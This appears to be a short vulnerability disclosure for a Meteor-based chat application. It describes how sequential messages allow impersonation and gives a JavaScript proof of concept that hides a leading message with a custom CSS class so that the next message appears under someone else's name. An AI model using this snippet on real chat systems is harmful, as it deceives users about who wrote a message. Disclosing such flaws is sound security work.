Impersonation in Sequential Messages

Sequential messages can be used to impersonate another user by hiding the leading message.

const rid = "<Room ID>";
const msg = "This message was written by somebody else";
Meteor.call("sendMessage", {
  msg: "will be hidden",
  rid: rid,
  customClass: "rc-popover"
}, () =>  Meteor.call("sendMessage", { msg, rid }));